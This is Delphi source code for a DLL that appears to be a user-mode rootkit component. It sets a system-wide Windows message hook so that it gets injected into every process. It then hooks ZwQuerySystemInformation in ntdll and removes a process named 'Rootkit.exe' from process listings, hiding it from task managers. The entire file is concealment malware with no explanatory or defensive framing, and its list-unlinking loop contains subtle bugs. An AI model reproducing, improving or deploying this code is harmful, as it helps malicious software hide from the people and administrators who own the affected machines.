library HideDLL;

uses
    Windows,
    ExtendedAPIFunctions,
    apihooktools;

const
    MutexName='__API_HOOK';

var
    SH:HHOOK;
    HiddenProcess:string = 'Rootkit.exe';

    SystemFunctionBridge:TFunctionRestoreData;

function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer;
     ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall;
var
    info,back_Proc:PSYSTEM_PROCESSES;
begin
    UnHookCodeHook(@SystemFunctionBridge);
    Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength);
    SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge);
    if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit;
    if Result<>STATUS_SUCCESS then exit;
    info:= ASystemInformation;
    repeat
      if info^.ProcessName.Buffer = HiddenProcess then
       begin
        back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta;
       end;
      back_Proc:=info;
      Info := pointer(dword(info) + info^.NextEntryDelta);
    until Info^.NextEntryDelta = 0;
end;

function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall;
begin
    CallNextHookEx(SH,code,wParam,lparam);
end;
procedure SetWindowsHook(e:Boolean); stdcall;
var
    M:THandle;
begin
    if e then
     begin
      m:=CreateMutex(0,false,MutexName);
      if m=0 then exit;
      SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0);
     end
         else
      UnhookWindowsHookEx(sh);
end;

procedure DLLEntryPoint(dwReason:DWord);
begin
    case dwReason of
      DLL_PROCESS_ATTACH:
       begin
       // StopProcess(GetCurrentProcessId);
        SetWindowsHook(true);
        SetProcedureHook(GetModuleHandle('ntdll.dll'),'ZwQuerySystemInformation',@NewSystemFunction,@SystemFunctionBridge);
       // ResumeProcess(GetCurrentProcessId);
       end;
      DLL_PROCESS_DETACH:
       begin
       // StopProcess(GetCurrentProcessId);
        SetWindowsHook(false);
        UnHookCodeHook(@SystemFunctionBridge);
        //ResumeProcess(GetCurrentProcessId);
       end;
     end;
end;

begin
     DllProc:= @DLLEntryPoint;
     DLLEntryPoint(DLL_PROCESS_ATTACH);
end.